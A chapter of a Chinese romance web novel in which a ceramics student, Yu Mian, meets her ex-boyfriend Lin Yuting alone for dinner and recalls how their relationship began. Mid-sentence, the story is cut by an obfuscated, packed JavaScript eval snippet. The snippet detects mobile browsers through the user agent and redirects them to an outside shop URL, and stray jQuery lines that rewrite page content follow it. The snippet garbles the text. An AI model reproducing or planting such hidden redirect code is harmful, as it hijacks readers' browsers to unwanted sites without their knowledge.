周六那天,虞眠把烧出来的成品拍给组里成员看,顾何第一个回复,发了三个大拇指。
虞眠打字:可别恭维我,赶紧找找缺点,现在找出来我们还有时间改。
顾何说怎么可能恭维你?我是夸你做得好,就咱们这速度,不出五天就能完成任务。
这个比赛分好几个赛道,他们陶艺赛道的主题是传统饮食文化,这题目不难,可发挥的余地大。虞眠点子多,细化能力和完成度强,大家都采用了她的创意,几个人问过导师意见再开始建模和制作的。
见组里成员都回复可以,虞眠也很满意,洗洗手打开电脑,把之前冯凇蓝找的前期素材调研进行整合,放在一个文件夹里,打算后面几天做个排版图。
做完一系列工作,虞眠瞅了眼挂钟,时间也差不多了,她把工作室简单清扫一下,回了宿舍。
换完衣服,虞眠等来等去,没等到表姐的车,发消息对方也没回,不知道是开车没看手机还是怎么。眼看着约定的时间就要到了,虞眠怕出什么幺蛾子,临时决定打车去餐厅。
车转到第三个路口,她接到方若仪的电话,语气带着歉意:
“对不起啊小眠,今天领导跟神经一样,留我加班到现在,怎么说都没用,这会子是真赶不过去了。你能不能先帮忙请蔺院吃个饭,我给你发个大红包好不好?”
“小眠,你可别生气啊,我这真是特殊情况。”
虞眠就算再不满也没法怪罪到表姐头上,她也打过工,知道方茹仪这话绝不是瞎说,方茹仪对这次跟蔺煜庭的见面十分郑重,一直跟自己打听蔺煜庭爱吃什么喝什么,怕踩雷惹他不快。
这般认真筹划,却忽然无法赴约,那肯定是真的脱不开身。干媒体的,赶上节目录制密集,经常通宵,这个虞眠也听说过。
虞眠只能在话筒这头安慰她。
挂了电话,遇到红灯,计程车刹车停了下来,绿化带边上的几簇紫丁香探到车窗里,馥郁雅致,浅浅的味道传到鼻尖。
她猛嗅一口,又深深地叹气,头倚在座椅上,丁香啊丁香,你是在安慰我吗?
被卷进一件跟自己完全无关的事情,既要讨好前男友,控制住自己的脾气,又不能太谄媚,免得让人家女朋友误会。
这任务对她而言,太艰难了。
早知道她也不来了,就她跟蔺煜庭吃饭,气氛该多诡异啊。可她不去,放了嘉济院长的鸽子,到时候生起气来,她怎么面对为了项目跑前跑后的杨教授和谈锦她们?
等下蔺煜庭看到只有她一个人,不会以为她在故意制造两个人单独相处的机会吧?
虞眠面色凝重起来,苍天啊!
到了餐厅,服务生笑容满面地带她进去,说你朋友已经到了,在里面等你。
虞眠等表姐花得时间太久,路上又堵车,算算时间其实迟到了将近20分钟,她这时应该赶紧过去,想好如何解释,但脚上像是绑着几斤沙袋,每一步都沉重不已。
该如何面对。
该做出什么表情。
要笑。
对,要笑。
虞眠弯唇,精密计算着自己眼角眉梢的弧度,像拿着柳叶刀去雕刻一个泥人那样。
就这一次,她叮嘱自己,待会儿进去要好好说话,毕竟人家诚心诚意帮了忙。
这次见面之后,两人就是真正的高中校友关系,她必须要把蔺煜庭当成一个遥不可及的学长,一个曾经帮过她的好心人。
让这段感情彻底消失在泛着浮尘的光阴里,再也不被翻出来。
她可以开始新生活,开始学着跟别人暧昧、恋爱、接吻。
就像他这几年做的那样。
他总是快她一步,比她先爱上别人,比她先忘记,也永远比自己更洒脱、更淡然。
烤肉店是日式侘寂风,低饱和度的色系,极具禅意。穿过枯山造景,有一个单独的庭院包厢。
服务生帮她拉开扇门,包厢私密,中间还有一道透风的麻纱帘,随着推门的动作随风摆动。
男人的影子朦胧地透出来,轮廓英挺,身姿似松柏沉肃。
蔺煜庭这个人连剪影都是孤傲的。
虞眠用视线描摹他的眉、他的眼。
服务生提醒她,女士,您直接进去就行。
虞眠缓过来,走近,扬起帘子正要说话,脑子忽然“嗡”得一声,心在刹那间收紧。
蔺煜庭靠在皮质卡座里,身上是薄薄的黑色高领毛衣,黑裤,发梢也是浓稠的黑,深色对比之下,显得脸愈发的白。
内敛幽深的一双眼望过来,把她钉在原地,手脚都不能动弹。
假若说重逢后,有哪次相遇是最让她晃神的,一定是这次。
这件毛衣是她买的。
到现在她都记得价格,四千两百多的轻奢款,她在米町打工赚的工资全用在这份礼物上了。
回忆排山倒海地淹没她,她记起那个夏天的黄昏,蝉鸣声喧嚣,她双臂圈在他宽阔劲瘦的肩膀上,纠结许久,壮着胆子问他:
“那你现在抱的人,是你女朋友吗?”
蔺煜庭的步伐明显跟之前不同,微微地停顿,掌心隔着裙子的布料嵌入她大腿,是比阳光更热烈的烫。
虞眠身体战栗,感觉大脑都烧到一个临界点了,心跳也快要沸腾至嗓子眼。
她也是胆子大,第一次约会就敢问这样露骨的问题,他会不会很惊讶?
失策失策,追男人要慢慢的,不急不缓。最好控制火候,多一分会惹人厌,少一分就失去了那种愁肠百结的情调。
她这样一问,让对方连猜的兴趣都没有。好像自己没人追一样,急急地要一个答案,是不是有点掉身价?
几年后,网上流行一个说法——永远不要问暧昧对象“我们现在是什么关系”。
评论区全是这句话的受害者,大家追悔莫及,说有些关系明说出来就没意思了,会把对方吓走。
虞眠没早看到这个观点,要是早点看到,她也不会这么直愣愣地问出来。
好像怕人跑了,非得拉着人家不放手似的。
不过也确实,这会子的虞眠,是真的害怕蔺煜庭跑了。
见他一面多不容易呀,两人的圈子几乎没有交叉点。为了今天,她等了太久太久,久到以为再也见不到他了。
榕树下,蔺煜庭神色平静,垂眼看她,右眼皮上的小痣露了出来。
他嗓音轻飘飘的,磨在她神经上,有种阵阵的麻。
“你想做我女朋友?”
“我不是这个意思。”虞眠左顾右盼,却因为被他抱着,更显得做贼心虚。
磅礴的热浪翻涌,她悄悄抬眼,看到蔺煜庭眼角压着笑意。
“你别笑话我。”虞眠脸往他衣服里埋,感到他胸膛一直在震动,再不敢抬头。
从没对异性说过这种话,真是羞死了。
羞死了呀。
“我不是这个意思。”她口干舌燥地喃喃。
虞眠轻轻拍打他胸口,“你还笑!”
蔺煜庭神色自若,手臂轻抬,将她往上抱了抱,像是对待一个晚辈,比如侄女、妹妹之类的。
虞眠忽然觉得,做他的妹妹一定很幸福吧,于是絮絮地问他:“你有妹妹吗?”
“没有。”蔺煜庭扫过她头顶小小的发旋,“你又想当我妹妹了?”
“当然不想。”虞眠狡辩,却又觉得这话回答得不对,什么叫又,那不就承认了她想当他女朋友吗?
可他又没有对她的话做肯定回答,只是反问她,给她一个模棱两可的想象。
他长着一张凉薄清贵的脸,性格也是淡淡的,她试探着往前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346998|197274||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
进一步,他却一动不动,在原地疏离地望着她,真是太可恶了哇!
虞眠看着他清晰凹陷的锁骨,在心里控诉,又忍不住念着他的名字。
这名字可真好听,姓也好听。不是刘煜庭,不是陈煜庭,偏偏是蔺煜庭。
读起来是“令玉停”,她在心里悄悄改了中间字的读音。
也可以是令鱼停,哪条鱼呢?
可不就是她这条。
每对情侣在一起的时候都有告白仪式吗?
反正她没有。
那天回去之后,依然是凌晨一点钟,蔺煜庭给她发了两张图。
两个线型的人物形象,一男一女,没有花里胡哨的色块。
恰到好处的留白,低调克制。
虞眠在台灯下咬着唇,斟酌良久,决定打个问号回去。
【yooo:?】
对方回复:【情侣头像】
呼吸之间,虞眠犹如身在狂风暴雨里,就快要被海水淹没了,她探出头大口大口地吸气,让自己冷静下来,对岸上的人顾左右而言他。
【yooo:你还没睡觉啊?】
【yooo:吃惊.jpg】
【蔺煜庭:准备睡了。】
【蔺煜庭回复图片:不喜欢吗】
虞眠手指蜷缩着,敲了四个字:【你喜欢吗?】
【蔺煜庭:喜欢】
虞眠站起来转了三四圈,深呼吸,然后回复:【喜欢我,还是头像。】
对面一会儿显示“正在输入中”,一会儿又没有。
来来回回三四分钟,虞眠紧张得要命,通讯设备压在手里跟烙铁似的,又重又烫,她把手机放进抽屉,好像看不到它就不会如坐针毡了。
她甚至关掉了台灯,对自己说,很晚了,已经到休息的时间了。然后她一直坐在那里,在黑暗里听着自己剧烈的心跳声。
手机在抽屉里响了一声,整个桌子都在震。
翻云覆雨地震。
兴风作浪地震。
欲盖弥彰地震。
虞眠空咽一口,拉开抽屉。
没有锁屏,屏幕一直都亮着。
屋子很暗,只有蔺煜庭回复她的消息跃入眼里:
【都喜欢】
虞眠猛地站起来,把手机丢到床上,蒙着被子尖叫。
在一起的第一个星期,蔺煜庭就给她邮寄了礼物,是一款梵克雅宝的项链。
水绿的包装盒,上面有一只展翅的纸质蝴蝶,打开是条四叶草的白金吊坠,做工精良,一看就是奢侈品。虞眠在淘宝搜索,价格竟然上万。
她惊得把盒子推到书桌里侧,给蔺煜庭发消息。
【yooo:太贵重了吧?】
【蔺煜庭:好看吗】
虞眠实事求是地打字:好看!
发出去后,她觉得这不行,自己也要给蔺煜庭买礼物的。
可买什么呢?精挑细选了一个星期,她狠下心,斥巨资买了件针织毛衣。
恋爱的时候谁都想给伴侣最好的,虞眠自己穿的衣服也就几十块钱一件。给蔺煜庭买就不一样了,她生怕这件衣服太便宜,蔺煜庭看不上呢。
下单的时候搞不清楚尺寸,买大了一码,蔺煜庭接过礼盒,说你不用送这些,虞眠摇摇头,我愿意送的,就当是在一起的定情信物啦。
二十五岁的虞眠离蔺煜庭不远不近,那时候大了一码的毛衣,现在穿上刚刚好。
男人肩线平直,寡淡疏冷。
她眨了眨眼,良久说不出话来。
都说近乡情怯,近人也会吗?
会的吧,否则怎么解释她慌乱的心绪。
她想起之前查资料,知网有篇论文说坭兴陶的烧成沸点是1200℃左右,那她心脏的沸点呢?
虞眠弄不清楚。